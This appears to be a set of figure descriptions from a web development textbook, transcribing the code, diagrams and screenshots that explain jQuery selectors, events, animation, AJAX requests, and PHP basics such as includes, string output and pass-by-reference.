
<li><a href="#">Canada</a></li>

<li><a href="#">Germany</a></li>

<li><a href="#">United States</a></li>

(the three href statements above are selected using $("ul a:link"))

</ul>

</nav>

<div id="main">

Comments as of <time>November 15, 2012</time>

(in the above line, the code "<time>November 15, 2012</time>" is selected
using the jQuery selector, $("#main>time"))

<div>

<p>By Ricardo on <time>September 15, 2012</time></p>

<p>Easy on the HDR buddy.</p>

</div>

<hr/>



<div>

<p>By Susan on <time>October 1, 2012</time></p>

(the time stamps in three lines above are selected using the jQuery selector,
$("#main time"))

(the two <p> statements are selected using the jQuery selector, $("#main div
p:first-child"))

<p>I love Central Park.</p>

</div>

<hr/>

</div>

<footer>

<ul>

<li><a href="#">Home</a> | </li>

<li><a href="#">Browse</a> | </li>

(the two href statements above are selected using the jQuery selector, $("ul
a:link"))

</ul>

</footer>

</body>



The jQuery selector is displayed as:

$("body *:contains('warning')")

Selector returns the following elements which have word "warning" them:

<h1>Caution</h1>

<h1>warning</h1>

<h1>Warning</h1> (This "warning" is capitalized. A text pointing to this
line reads, "The filters are case sensitive".)

<p>warning!Proceed with Caution.</p>

<p>Please

<a href='#'>Read the warning </a>

if you aren't certain (Text here reads, "The match happens for <p> and <a>
since the word technically appears in both.")

</p>

When rendered on screen, the page shows the following content:

Caution

warning

Warning

warning! Proceed with Caution.

Please Read the warning if you aren't certain.

The second, fourth, and fifth lines in the page are displayed in a red
background.



Figure shows three different mouse events which are handled in a single
jQuery statement. Text at beginning of illustration reads, "Notice that we are
chaining together multiple event handlers in one statement. This is a common
programming style used by jQuery programmers."

In first event, a screen shows a square labeled as "move over me", with
mouse pointer placed inside square. Text pointing to element reads, "When
user moves mouse over element, then display x, y coordinates". The x and y
coordinates are displayed below element as x=141 and y=55.

The jQuery statement corresponding to this is shown as:

$(".panel")

.on("mousemove",function (e) {

$("#message").html("x=" + e.pageX + " y=" + e.pageY);

})

In second event, mouse pointer is taken away, and "goodbye!" is displayed
below square. Text pointing to "goodbye!" text reads, "When user moves
mouse outside of element, then indicate this." Another text pointing to the
square reads, "But even though the mouse is gone, the panel is still listening
for future mouse over events."

The jQuery statement corresponding to this event is shown as:

.on("mouseleave",function (e) {

$("#message").html("goodbye!");

})

In last event, the mouse pointer is shown on square. A message below square
reads, "stopped move reporting". Text pointing to square reads, "However,
when the user clicks on the panel, we turn off its listener for mouse moves.



Thus future moves will not trigger the mouse move event."

The jQuery statement for this event is shown as:

.on("click",function () {

$("#message").html("stopped move reporting");

$(".panel").off("mousemove");

});



Code for the DOM tree is shown as :

<div class="dest">

existing content

</div>

The jQuery element is:

var link = $('<a href="http://funwebdev.com">Fun</a>');

Illustration shows eight methods where element is inserted into DOM tree. In
each of these methods, line beginning with <a href...> is highlighted.
Methods are as follows:

$(".dest").append(link);

<div class="dest">

existing content

<a href="http://funwebdev.com">Fun</a>

</div>

$(".dest").prepend(link);

<div class="dest">

<a href="http://funwebdev.com">Fun</a>

existing content

</div>

link.appendTo($(".dest"));



<div class="dest">

existing content

<a href="http://funwebdev.com">Fun</a>

</div>

link.prependTo($(".dest"));

<div class="dest">

<a href="http://funwebdev.com">Fun</a>

existing content

</div>

$(".dest").before(link);

<a href="http://funwebdev.com">Fun</a>

<div class="dest">

existing content

</div>

$(".dest").after(link);

<div class="dest">

existing content

</div>

<a href="http://funwebdev.com">Fun</a>

link.insertBefore($(".dest"));



<a href="http://funwebdev.com">Fun</a>

<div class="dest">

existing content

</div>

link.insertAfter($(".dest"));

<div class="dest">

existing content

</div>

<a href="http://funwebdev.com">Fun</a>



Illustration shows a code as follows:

<div class="panel">

<label>List Text</label>

<input type="text" id="entry"

placeholder="Enter text for new list item"/>

<p>

<button id="addTop" >Add to Top</button>

<button id="addBottom" >Add to Bottom</button>

</p>

</div>

<ul id="list">

<li>list item 1</li>

<li>list item 2</li>

<li>list item 3</li>

</ul>

Text pointing to three list items in this code reads, "In this example, our
jQuery code is going to add items to this list."

When rendered on screen, page shows a list of three items, labeled as list
item 1, list item 2, and list item 3. A form is displayed above list with a field
to add "List text", and two buttons labeled as "add to top" and "add to
bottom".



Following code is displayed below screen along with appropriate text
indicating actions.

(Define event handlers after document is ready).

$(function () {

$("#addTop").on("click", function () { ( a text here reads, "Execute this
function when user clicks the Add to Top button)

if ($("#entry").val()) {

$("#list").prepend( createListItem() ); (Text here reads, "Insert this as first
child item of <ul>"

}

});

$("#addBottom").on("click", function () {

if ($("#entry").val()) {

$("#list").append( createListItem() ); (two texts referring this line read as
follows: "Only do this if user has actually entered something into the text
box.....Add this as last child item of <ul>"

}

});

function createListItem() {

var item = $("<li>" + $("#entry").val() + "</li>"); ("Create a new list
element.")

item.addClass("fadeEmphasis"); ("Add this class to the new element.")

return item;



}

});

Text pointing to "$("#entry").val()" in the above function reads, "Retrieve
user data in input filed".

An animation class pointing to "fadeEmphasis" in the above function reads as
follows:

.fadeEmphasis {

animation: fadeout 2s forwards;

animation-delay: 0s;

}

@keyframes fadeout {

from {

background-color: #E0E0E0;

}

to {

background-color: white;

}

}

Text below this class reads, "This animation class will give new list items a
background which will fade to white after two seconds. This provides
addtional visual feedback to user that new item has been added."

The illustration shows two screens as they appear once the items are added.



The first screen shows a list item labeled as "this is a new one" which is
added above the three existing list items. The second screen shown another
item labeled as "here is another one" added below the three items.



Illustration shows four images on a horizontal scale. On left, text “Show
email” is displayed. Second image shows upper half of a faded mail icon. In
third image, more than half of mail icon is visible along with a bright star on
it. Words “Mail Us” is displayed over icon. Last image on right shows entire
icon along with text over it clearly visible.



Illustration shows four images on a horizontal scale. On left, text "Show
email" is displayed. Second image shows words "Mail Us" in a blurred form.
In third image, words "Mail Us" is still blurred but has better visibility than in
second image. Outlines of mail icon is also visible. Last image on right shows
entire mail icon along with text over it clearly visible.



Code for menu of links is as follows:

<button id="menuBtn">Menu</button>

<ul id="menu">

<li><a href="#">Menu item 1</a></li>

<li><a href="#">Menu item 2</a></li>

<li><a href="#">Menu item 3</a></li>

<li><a href="#">Menu item 4</a></li>

</ul>

Illustration shows four screens. First screen displays a button labeled as
"Menu". A code is shown along with text as follows

$(function () {

$("#menu").hide(); ("When page loads, hide the list.")

In second and third screens, mouse pointer is shown hovering over menu
button. A list of links slides up into view gradually in both the screens.

A code for this action is as follows:

$("#menuBtn").on("mouseenter", function () {

$("#menu").slideDown(500);

}); ( Text here reads, "Slide list down in 0.5 sec when mouse hovers over it.")

Last screen shows mouse pointer over menu button. Entire list of links is
displayed below button. A code for this action is as follows:

$("#menuBtn").on("mouseleave", function () {



$("#menu").slideUp(300);

});

}); (Text here reads, "Slide list up faster when mouse is no longer hovering
over it.")



Illustration shows five browser windows where an animation effect is created
in five steps. In first window, a button labeled as "See notification" is shown
on top left corner of screen. Text describes step 1 of process as, "element
with notification class is positioned off screen and transparent." A code is
displayed below screen as

.notification {

...

right: -350px;

top: 100px;

opacity: 0;

}

Text pointing to three properties above reads, "These are the three properties
that will be animated...These are the before values."

Step 2 is described as "When button is clicked start the animation". A mouse
pointer is shown on "See notification" button. Screen shows a faded box
entering screen from right to left. Corresponding code is shown as,

$(function() {

$('#notifyBtn').on("click", function () {

In step 3, box comes into full view at bottom right of screen. It contains a
calender icon, two texts and a "Dismiss" button. Texts read, "New event
created" and "Please check your calender". Step 4 shows box move upwards
and settle in top right corner of screen.

A code next to screen reads,

$('.notification')



.animate({right:'0px', opacity: "1"},500)

.animate({top: "0"});

Text pointing to first ".animate" line describes step 3 as "Over 0.5 sec, first
animate these two properties". Another text pointing to second ".animate"
line describes step 4 as "and then animate this property". Values in these two
lines are marked as "after values".

Another block of code is displayed as follows:

window.setTimeout(function() {

dismissNotification();

}, 4000);

});

$('#dismissBtn').on("click", function () {

dismissNotification();

});

});

Text pointing to this code reads, "After 4 seconds, call the dismiss
notification

function".

In fifth step, a mouse pointer is shown clicking on the "Dismiss" button of the
new box. Box gradually fades out of view. Text describes this event as "Fade
element to invisible when dismissed or after timeout". The code for this
action is shown as,

function dismissNotification() {



$('.notification').fadeOut(500);

$('#notifyBtn').fadeOut(500);

}



Graph plots "Time (t)" on x axis, ranging between 0 and 1 in increment of
0.1. Y axis shows "swing(t)", ranging between 0 and 100 in increment of 10.
Graph shows two lines. A straight line is drawn diagonally upward from zero
point up to coordinate point (1, 100). This line represents "Linear" function.
Another line starts at zero point below diagonal line, moves up on an upward
slope sliding towards Y axis, crosses over the diagonal line mid-way, and
then continues to climb up while moving away from the y axis, and finally
meets the diagonal line at coordinate point (1, 100). This line represents
"Swing" function.



Illustration shows a browser which displays a black rectangle as initial state.
A code displays its properties as,

#rectangle {

...

opacity: 1;

width: 200px;

height: 150px;

Text pointing to above three lines reads, "Animate these three properties".

Illustration next shows three screens where rectangle gradually rotates
anticlockwise. Text next to screens reads, "While we animate toward the final
state, we are going to add a rotation as well via a custom step function".

As it rotates, the width, height and opacity of the rectangle changes. In final
state, rectangle is shown in browser with increased width, lesser height and
decreased opacity. Changed properties are displayed as,

opacity: "0.3",

width: "400px",

height: "100px"



Diagram shows two boxes labeled as "Client Browser" and "Server". Client
browser box has two child boxes labeled as "Browser interface" and
"JavaScript", while server box holds another box labeled as "WebService".
White activity bars are drawn below each of these boxes, and dotted lines are
drawn connecting these bars to boxes. Six steps of AJAX request process are
labeled against these activity bars, indicating where exactly activity is
happening between client browser and server.

Step 1 is described in activity bar under browser interface as "Browser parses
and builds the DOM then renders the HTML page and runs JavaScript."

Step 2 is described in next activity bar under browser interface as
"Everything is in a waiting state until an event occurs (like the user clicks a
button). The browser synchronously handles the event in JavaScript."

In step 3, action shifts to an activity bar under JavaScript box of the Client
browser. This step is described as "JavaScript handles the event,
asynchronously requesting a web resource and returns control to the
browser."

Step 4 points to an activity bar under "Server's WebService". Text describes
this step as "While the server processes the request, the browser is not stuck
waiting in a refresh state."

In step 5, JavaScript of client machine processes the response. In step 6,
JavaScript updates the user interface.



Illustration shows three steps. Step 1 shows a browser page with two blocks
of text. A time-stamp inside browser indicates time as 12.23. A text next to
screen reads, "The page loads and shows the current server time as a small
part of a larger page."

In step 2, screen shows three horizontal dots. A text next to screen reads, "A
synchronous JavaScript call makes an HTTP request for the "freshest"
version of the page...While waiting for the response, the browser goes into its
waiting state."

Step 3 shows two blocks of text restored in screen. A time-stamp inside the
browser indicates the time as 12.24. A text next to the screen reads, "The
response arrives, so the browser can render the new version of the page, and
the functionality in the browser is restored."

A block of code is displayed next to the screen as,

<html>

<head>

...

</head>

<body>

...

<div id='serverTime'>

12.24

</div>

...

</body>



</html>



Illustration shows three steps. Step 1 shows a browser page with two blocks
of text. A time-stamp inside browser indicates time as 12.23. A text next to
screen reads, "The page loads and shows the current server time as a small
part of a larger page."

In step 2, the screen continues to shows same text blocks. Time-stamp inside
browser reads, 12.23. Text next to screen reads, "An asynchronous JavaScript
call makes an HTTP request for just small component of page that needs
updating (the time)....While waiting for response, browser still looks same
and is responsive to user interactions."

Step 3 shows browser with text blocks, and a time-stamp that shows time as
12.24. Text next to screen reads, "The response arrives, and through
JavaScript, the HTML page is updated."



Illustration shows process in three steps. Step 1 shows a browser titled
page.html that contains a form and a menu. Menu shows a list of countries
like Canada, France, Germany, Italy, and United States under the label,
"Select a Country". Text next to screen reads, "The HTML page contains a
form that posts asynchronously."

Step 2 shows "Italy" selected in menu. Text next to screen describes this step
as, "A user selection asynchronous submits the user's choice .....Meanwhile,
the page remains interactive while the request is processed on the server."

In step 3, browser displays a second menu below country menu. This menu
shows a list of cities like Florence, Milan, Pisa, Rome and Venice under
label, "Select city". Text next to screen reads, "The response arrives, and is
handled by JavaScript, which uses the response data to update the interface
(in this case another select list has been created with data received in the
response)."



Illustration shows the following code:

<select id="country">

<option value=0>Select a country</option>

<option value="CA">Canada</option>

<option value="FR">France</option>

<option value="DE">Germany</option>

<option value="IT">Italy</option>

<option value="US">United States</option>

</select>

<div id="results"></div>

<script>

$(function() {

$("#country").change(function() {

When rendered on screen, it shows a drop-down menu labeled as "Select a
country".

The get request is displayed as follows:

$.get(url, param, function (data, status) {

Here, the "data" parameter returns JSON data in the following format:

[

{"id":"3176959","name":"Firenze","iso":"IT", ...},



{"id":"3173435","name":"Milan","iso":"CA", ...},

...

]

...and constructs a request in the following format:

serviceTravelCities.php?iso=IT

var url = "serviceTravelCities.php";

var param = "iso=" + $('#country').val();

An "if-else" statement after the get request is shown as follows, along with
explanatory text:

if (status == "success") {

var select = $('<select id="cities"></select>'); (The text here reads, "create
new <select> element")

for (var i=0; i < data.length; i++) {

var opt = '<option value="' + data[i].id + '">' + data[i].name + '</option>';

select.append(opt); (The text here reads, "Create new <option> element using
returned JSON data".)

}

$("#results").empty().append(select); (The text here reads, "Empty previous
<div> content and then add the new <select> to it")

}

else {

alert("serviceTravelCities.php request didn't work");



}

});

});

});

</script>

Text pointing to the if statement reads, "Did the request work?"

A final screen shows "Italy" selected in the first menu and "Firenze" selected
in the second menu below it. A sample generated mark up is displayed below
which reads, "<select id="cities">

<option value="3176959">Firenze</option>

<option value="3173435">Milan</option>

...

</select>"



Diagram shows two parent-child boxes, labeled as "Client
Browser/JavaScript" and "Server/WebService". Small squares are drawn
below these two boxes, indicating path taken by request in moving from
client to server and vice-versa.

First method indicated in illustration is "jxhr = $.get(url);". Request, "GET
vote.php?option=C" moves from "Client Browser" to "Server". Then
"HTTP_status" request moves it back from Server to Client.

Two if conditions and methods are displayed against boxes that correspond to
"Client browser" as follows:

if HTTP_status = 200

jxhr.done()

if HTTP_status = 404

jxhr.error()

A final method is displayed against a box corresponding to the Client
browser as follows:

jxhr.always()



Figure shows a browser with an input field, which displays a file path as
"D:/Photos/Hawaii/airport.jpg". Two buttons labeled as "Browse" and
"Submit" are displayed next to field.

File posting process is illustrated in three steps.

In step 1, browser is clicked. Step 2 is explained in a text that points to a
server machine. Text reads: "JavaScript interrupts synchronous submission
and uses HTML 5's FormData to convert referenced file into a string."
Another text explains step 3 as, "The asynchronous $.post() transmits the data
to the server and can have a listener execute on completion."



Figure shows two illustration. First one on top shows main site for modern
browsers. A text on top mentions that main site uses current "JavaScript" and
"HTML5" form elements. Site shows a fancy jQuery image slider displaying
three images labeled 1, 2, and 3, with buttons below to display more images.
Three buttons labeled as "One", "Two", and "Three" are displayed in a row
below, with middle button highlighted. Another box is displayed at bottom. It
holds a horizontal slider labeled Value, which moves between 0 and 9, and
shows an approximate value of 3. A Calender picker labeled as Date is also
shown inside this box.

Site also shows a colorbox on right showing various smaller colors to choose
from. Selected color is identified as "Grapefruit" with code #FFBF80.

Illustration below shows a degraded site for baseline older browser. A text on
top mentions that this gracefully degraded alternate site is for users who are
not using most current browsers. It shows three boxes in a row, labeled as 1,
2, and 3, with "prev" and "next" buttons below. Three buttons labeled as
"One, Two and Three" are shown in the next row, with second button
highlighted. A box is shown at bottom. Instead of horizontal slider of regular
site, an input box labeled "Value" is displayed, with an instructional text that
reads, "between 0 and 9". And in place of calendar date picker, another input
field labeled "Date" is displayed, with an instructional text that reads,
"mm/dd/yy".

Color box on right is absent. An input box labeled, "Color" is displayed with
an instructional text that reads, "#RRGGBB".



Figure shows two illustrations. First one on top shows main site for baseline
older browsers. Site displays three boxes in a row, labeled as 1, 2, and 3, with
"prev" and "next" buttons below. Three buttons labeled as "One, Two and
Three" are shown in next row, with second button highlighted. A box is
shown at bottom with two input boxes. First is labeled "Value", and shows an
instructional text that reads, "between 0 and 9". Second is labeled as "Date",
with an instructional text that reads, "mm/dd/yy".

An input box labeled, "Color" is displayed on top right with an instructional
text that reads, "#RRGGBB".

Illustration below shows a Site with progressive enhancements. Page shows a
fancy "jQuery" image slider displaying three images labeled 1, 2, and 3, with
buttons below to display more images. Three buttons labeled as "One",
"Two", and "Three" are displayed in a row below, with middle button
highlighted. Another box is displayed at bottom. It holds a horizontal slider
labeled "Value", which moves between 0 and 9, and shows an approximate
value of 3. A Calender picker labeled as "Date" is also shown inside this box.

Site also shows a colorbox on right showing various smaller colors to choose
from. Selected color is identified as "Grapefruit" with code #FFBF80.



Illustration shows two screens. Screen in background shows a painting of a
bunch of flowers in middle for filtering and enhancement. On left, a number
of sliders are provided to apply filtering constraints. Opacity filter is slided up
to 100 percent, "Saturation" is around 40 percent, "Brightness" is 40 percent,
"Hue" rotate is at other end of 0 degree, "Grayscale" is at other end of 0
percent and "Blue" is also at other end of 0px. A reset button is provided
below the sliders, and a text pointing to this button reads, "Reset the image
and slider values".

Screen in foreground shows a portrait image selected for filtering. Image
caption reads, "Self-portrait: Vincent Van Gogh, 1887". Text pointing to this
caption reads, "The alt and title attribute of the selected thumbnail will be
displayed in the <figcaption>".

A vertical bar on right lists thumbnails of smaller images. Text pointing to
one of them reads, "Clicking on thumbnail image replaces the main image in
the <figure>".

Another text pointing to slider box on left reads, "Set the appropriate CSS
filter and -webkit-filter properties whenever the user changes any of the
sliders."



Illustration shows two screens. Screen in background shows thumbnails of 12
photographs displayed in three rows. Text next to screen reads as follows:
"The images.js file contains an array of image objects (examine data.json to
see all the formatted data)"

"Loop through this array outputting the appropriate <img> tags as list items
within the provided <ul> element. The alt attribute should be set to the title
property of the image object."

"You are going to create handlers for the mouseenter, mouseleave, and
mousemove events of each of these images."

In second screen in foreground, a mouse-hover is done on one of photos. An
expanded image is displayed in front, along with a caption beneath it. Text
pointing to caption reads, "The caption displays information for the image."
Another text pointing to top left corner of expanded image reads, "The top
and left CSS properties of this <div> will have to be offset from the current
mouse position."

Moused-over image in background is shown in a gray-scale. Following
instructional texts are displayed regarding this image:

"The mouseenter handler will add the class "gray" to the moused over
image."

"The mouseenter handler will also add a <div> with id="preview" that will
contain a larger version of image and a caption. This preview <div> should
also be faded in over 1 second."

"The mouseleave handler will have to remove the gray class and remove the
preview <div>."

"The mousemove handler will have to recalculate the top and left CSS
properties based on the mouse position."



Illustration shows two screens. Screen in background shows a table titled as
"Visits [January]" and a map. Text pointing to table reads, "Populate this
table using $.get()". Table has three filters on top, labeled as "All Countries",
"All Browsers", and "All Operating Systems". All Browsers filter is clicked,
and a dropdown menu of various browsers is displayed. A text pointing to
this menu reads, "Populate these filter lists using $.get()".

Screen in foreground shows same table as earlier. Filters show following
selections: "All Countries", "Safari", and "All Operating Systems". Text
pointing to these filters reads, "Selecting from one of these lists filters the
visits table".

Screen also shows three boxes on right panel. A map of Europe is shown in
first box titled Map. A pie chart is shown in second box titled Browsers.
Third box titled Operating Systems shows a bar graph. A text next to these
boxes reads, "Use Google Charts to display visit counts for countries,
browsers, and operating system fields."



Above figure shows client side script execution in four steps. First step shows
a client machine sending a request for JavaScript source file to “Web Server”.
Web server responds by sending a “script.js” file. Third step shows browser
executing any JavaScript as required. In last step, output is displayed in the
browser.

In server side script execution shown below, a client machine sends a request
for PHP resource to “Web server”. PHP code in requested resource is
executed in web server itself. Third step shows output from PHP execution
being sent from web server to client machine. Final step shows output being
displayed in the browser.



Ilustration shows a page titled as “PHP code”, receiving “script inputs” and
sending out “output”. Page is connected to following resources:

Database

Files

Web service available on a Web server

Email from another server

Other software



Figure shows a client request, GET /vacation.aspx, being sent to a web server
that runs “ASP.net”. In second step, web server executes script to give two
outputs as vacation.aspx and vacation.aspx.cs. The codes for these outputs
are displayed as follows:

(vacation.aspx:)

…

…

<h1>

<asp:label id=“title”

runat=“server” />

</h1>

<asp:datalist id=“names”

runat=“server” />

…

(vacation.aspx.cs:)

public class vacation : Page

{

…

title.Text = … ;

names.DataSource = …;

names.DataBind();



…

}

Third step shows program giving out a HTML (and possibly Javascript and
CSS) output, which is displayed as follows:

<html>

…

<body>

…

<h1>My Travels</h1>

…

</body>

</html>

This output is sent back to browser in HTTP response.

The same browser sends another request as “GET /vacation.php” to another
webserver which runs PHP. Second step shows program being executed,
resulting in a “vacation.php” file, displayed as follows:

…

<body>

…

<?php

echo “<h1>”;



echo $title;

echo “</h1>”;

for ($i; $i<$count; $i++)

echo $name[$i];

…

?>

…

Third step is same as the earlier ASP.net output, with the program giving out
a HTML (and possibly JavaScript and CSS) output. This output is sent back
to browser in HTTP response, as earlier.



Illustration shows two pie-charts which are depicted three-dimensionally.
First figure gives market share of different technologies in the top 50 million
sites, as follows:

ASP.NET: 39 percent

PHP: 38 percent

JSP: 4 percent

Ruby: 0.5 percent

Others: 19 percent

Second figure gives market share in top 10,000 sites as follows:

ASP.NET: 23 percent

PHP: 27 percent

JSP: 9 percent

Ruby: 9 percent

Others: 19 percent



Illustration shows three rectangles drawn inside each other. Innermost
rectangle is labeled as PHP, middle one is Apache, and outer rectangle is
Linux.

Both PHP and Apache are connected to a Web server. A cylindrical pipe
connects to PHP square at a Port (example, 80). Pipe acts as the gateway for
HTTP requests and responses.

PHP is connected to a configuration file labeled “php.ini”. And “Apache” is
connected to two configuration files labeled as “httpd.conf” and “*.htaccess”.



Illustration shows an Apache environment where an “Incoming request”
enters it at one end, and a “Response returned” exits from other. Four
modules are labeled inside Apache as mod_auth, mod_rewrite, mod_ssl, and
mod_php5. Arrows and drawn to and from each of these modules towards
incoming request as it passes through Apache. Text above modules reads as,
“Each module can decline serving a request, accept serving it, or even deny
the request from being served by other modules.” And the text below
mod_php5 module reads, “This is the module that interfaces with the PHP
environment”.

PHP environment is represented by three modules, labeled as “Core PHP”,
“Extension Layer” and “Zend Engine”, all of which interface with each other.
Core PHP is shown to interact with mod_php5 of Apache, also known as
SAPI layer. Functionality of Zend engine is shown as “Handles compilation
and exeuction”. Functionality of extension layer is shown as “Interacts with
other environments (such as MySQL) and with function libraries”.



Multi-threaded (worker) setup shows two rectangles, labeled as “Apache
Process”. Each process holds four smaller rectangles, labeled as “Thread”.
Illustration shows five requests labeled as “Request A”, “Request B”,
“Request C”, “Request D”, and “Request E”. Each of these requests are
connected to one of threads inside an Apache Process.

Multi-process (Preforked) setup shows seven independed rectangles, labeled
as apache process. Five requests from A to E are connected to one of these
apache processes.



Figure shows “Zend engine” as packing and processing area with different
parts of engine depicted as workers. Text written in one corner of illustration
describes Zend engine as follows: “The Zend Engine is a virtual machine that
processes and executes PHP files. It also handles memory management,
garbage collection, and dispatching function calls to modules outside of
PHP.”

File execution is illustrated in six steps. In step 1, boxes labeled as PHP code
documents enter area on trolleys. Text describes this step as, “PHP code
documents are fetched from server storage and fed into the Zend Engine for
execution.” A worker carries parts of this package, labeled as tokens, and
loads them onto another trolley. This step is described as “Lexer: converts the
human-readable PHP code into machine-digestible tokens.”

Tokens are picked up by a second worker on a mini JSB machine who loads
them into carriers called PHP expressions. This step is labeled as “Parser:
converts the stream of tokens and generates expression.” Another worker
pushes these carriers into a line, labeled as “opcode”. This fourth step is
described as, “Complier: converts expressions into PHP opcodes also known
as bytecode.”

A security guard oversees the loading of the PHP boxes onto a delivery van.
Text next to him reads, “Executor: safely executes/runs the opcodes, which
generates HTML.” In the sixth step, the van leaves the Zend engine area, with
a text describing this step as, “Output from executor is returned and
eventually is sent back to requesting browser.”



Illustration shows a web server and a browser being part of local operating
system of same client machine. Five steps of the process are displayed as
follows. In first step, web server environment is started. In step 2, a request
for local php resource from browser is handled by web server. Step 3 shows
web server delegating execution to a bundled PHP module within itself.

In step 4, output from PHP execution is returned to browser. Browser
displays result as a webpage in final step.



Illustration shows a command line interface where the “cd” command is used
to navigate to “chapter 11” folder that contains PHP files. Next command in
interface is “php -S localhost:8000”. Text pointing to this line reads, “If PHP
installed on computer (which it is on MAC OS X), then you can run PHP
directly from terminal or command line.”

Illustration shows a browser with url as “localhost:8080/tester.php”. Text
pointing to this url reads, “You can now request local PHP files directly from
browser.” Browser displays details of PHP files in a table format, giving
details about system, build date, configure command, virtual directory, etc.

Another command line interface is displayed where an error message is
displayed for a request. Text pointing to these lines reads, “The PHP daemon
continues to run until you stop it. It displays messages (including errors) for
each request”.



Screenshot in foreground shows Apache friends website opened in localhost
domain. Page header reads, “XAMPP: Apache + MariaDB + PHP + Perl”.
Text below shows windows version of XAMPP that has been successfully
installed on machine, and provides further information on configuring
individual components.

Screenshot in background shows the XAMPP control panel version 3.2.2. It
lists various modules like Apache, MySQL, FileZila, Mercury, and Tomcat.
Each module has various buttons to start/stop service, configure, do admin
actions and check the logs. A panel on right displays generic buttons. Bottom
panel displays logs for various services.



Screenshot in background shows url as “https://ide.c9.io/randyc9999/
test.php”. It displays a console with a welcome message for user, Randy.
Central panel displays screen where user can configure and add PHP code.
Bottom panel shows service logs. Panel on left shows various php files under
test.php folder. Top panel displays various tabs and buttons.

Screenshot in foreground shows url as “https://codeanywhere.com/editor”. It
shows a central panel where user can work on php file. Left panel lists
various php files while bottom panel displays logs.

https://ide.c9.io/randyc9999/test.php
https://codeanywhere.com/editor


First expression is as follows:

echo "<img src='23.jpg' alt= ' " . $firstName . " " . $lastName . " ' >";

Content between three sets of double quotes is reproduced in the output. Also
variable values for "$firstName" and "$lastName" appears in output as 'Pablo
Picasso' along with space in between and single quotes surrounding them.

Output after concatination is:

<img src='23.jpg' alt='Pablo Picasso' >

Second example is as follows:

echo "<img src='$id.jpg' alt='$firstName $lastName' >";

Content between two double quotes is reproduced in output. Vvariable values
for "$id", "$firstName", and "$lastName" appear as "23.jpg", Pablo, and
Picasso respectively.

The output after concatination is:

<img src='23.jpg' alt='Pablo Picasso' >

Third example is as follows:

echo "<img src=\"$id.jpg\" alt=\"$firstName $lastName\" >";

Escape character (backslash) is utilized in this example to reproduce double
quotes around "23.jpg" and Pablo Picasso. Output is:

<img src="23.jpg" alt="Pablo Picasso" >

Fourth example is as follows:

echo '<img src=" ' . $id . '.jpg" alt=" ' . $firstName . ' ' . $lastName . ' " >';

Content between four sets of single quotes is reproduced in output along with



values of the variables. Output is shown as follows:

<img src="23.jpg" alt="Pablo Picasso" >

Fifth example is as follows:

echo '<a href="artist.php?id='.$id .' ">'.$firstName.' '.$lastName.'</a>';

Here too, content between four sets of single quotes is reproduced in output
along with values of variables. Output is shown as follows:

<a href="artist.php?id=23">Pablo Picasso</a>



Parameters are declared as follows:

$product = "box";

$weight = 1.56789;

The "printf" statement is shown as:

printf("The %s is %.2f pounds", $product, $weight);

In this statement, "%s" and "%f" are marked as "Placeholders" and ".2" is
marked as Precision specifier. An arrow is drawn pointing "$ product" to
"%s". Another arrow is drawn pointing "$weight" to "%.2f".

Output of this printf statement is displayed as:

"The box is 1.57 pounds."



Figure shows three PHP files labeled as "index.php", "product.php", and
"about.php". Lines are drawn with an "include" annotation, connecting each
of these files to another PHP file, labeled as "database.php". Sample code in
this file is displayed as:

<?php

class DatabaseHelper {

function makeConnection() {

...

}

...

}

...

?>

Three php files are also included in another file labeled as "footer.php". A
sample code of this file is displayed as:

<div id="footer">

<a href=#>Home</a> |

<a href=#>Products</a> |

<a href=#>About us</a> |

<a href=#>Contact us</a>

</div>



Heading of the file is shown as "example.php". A text pointing to this reads,
"By convention, PHP files have the .php extension.

An include file is shown as follows:

exampleData.inc.php

<?php

$name = 'Randy Connolly';

$email = 'someone@example.com';

?>

Text pointing to include file header reads,"Files that are included can have
any extension, though in this example we are using the extension .inc.php to
make it clearer later that this is an include file."

First part of the php file is as follows:

<?php

include('exampleData.inc.php');

?>

<!DOCTYPE html>

<html lang="en">

<head>

...

</head>

Line "include('exampleData.inc.php');" in this code points to include file



shown in the beginning. Two texts explain this action as follows:

"The include function inserts the contents of the specified file."

"Common practice is to place include statements (and variables used
throughout the page) at the top of the page."

Rest of the php code is displayed below. Illustration also shows output in a
browser which displays a form. The form shows two fields labeled as
"Name" and "Email", and a menu labeled as "Interests". These fields and
menu receive the outputs from three variables in the following php code.

</head>

<body>

<form>

<fieldset>

<label for="name">Name:</label>

<input type="text" id="name" name="name" value="<?php echo $name; ?>"
>

Text pointing to "<?php echo $name; ?>" reads, "Here we are outputing the
contents of the $name variable into the value attribute."

<label for="mail">Email:</label>

<input type="email" id="mail" name="email" value="<?php echo $email; ?
>" >

Text pointing to "<?php echo $email; ?>" reads, "Here we are outputting the
contents of the $email variable into the value attribute."

<label for="interests">Interests:</label>

<select id="interests" name="interests">



<?php

for ($i=0; $i<5; $i++) {

$count = $i + 1;

echo "<option>Interest " . $count . "</option>";

}

?>

Text pointing to the above for loop reads, "Use a loop to output five <option>
elements."

</select>

<button type="submit">

Contact us

</button>

</fieldset>

</form>

</body>

</html>



Illustration shows the initial value of a variable, along with memory and
output in brackets, as follows:

$initial=15; ($initial: 15)

echo "initial=" . $initial; (initial=15)

changeParameter($initial); ($initial: 15)

Here, the argument is passed to the function as follows:

($arg : 15)

Php creates a copy of the variable. A pass by value function alters value of
variable in the copy from 15 to 315 as shown below:

// passing by value

function changeParameter($arg) {

$arg += 300;

}

so the output changes from $arg: 15 to $arg:315 only in the copy. The initial
value of variable remains same at 15.

Next part of illustration shows how "Pass-by-reference" works. Initial value
of variable, along with memory and output in brackets, is shown as follows:

echo "initial=" . $initial; (initial=15)

changeParameter($initial); ($initial: 15)

Argument is passed to function as follows:

($arg : 15)



A pass by reference function alters value of variable in argument from 15 to
315, as follows:

// passing by reference

function changeParameter(&$arg) {

$arg += 300;

}

Argument in turn changes initial value of variable from 15 to 315. So value
of variable and output is shown as follows:

echo "initial=" . $initial; (initial=315)



Illustration shows two screenshots. Screen in the foreground shows a range of
216 colored squares arranged in the form of a square. Text pointing to one of
these square reads, "Each of these is a <span> element generated via PHP".
Header of this screen reads, "Using Iterator: 50". Texting pointing to this
header reads, "Use PHP to output this <h1> heading".

The mouse pointer is placed on one of the color squares to reveal the
hexadecimal version of that color. Text pointing to this square reads, "The
hexadecimal version of the color appears in the title attribute".

Screen in the background has a header which reads, "Using iterator: 30". It
shows 9 colored squares, displayed one behind other. Each of these squares
are further divided into 81 smaller squares that show various shades of red,
green and blue. Smaller squares are programmed in such a way that similar
color shades are grouped together.

Text next to this screen reads, "For an extra challenge, programmatically alter
the CSS top, left, and z-index properties as well."



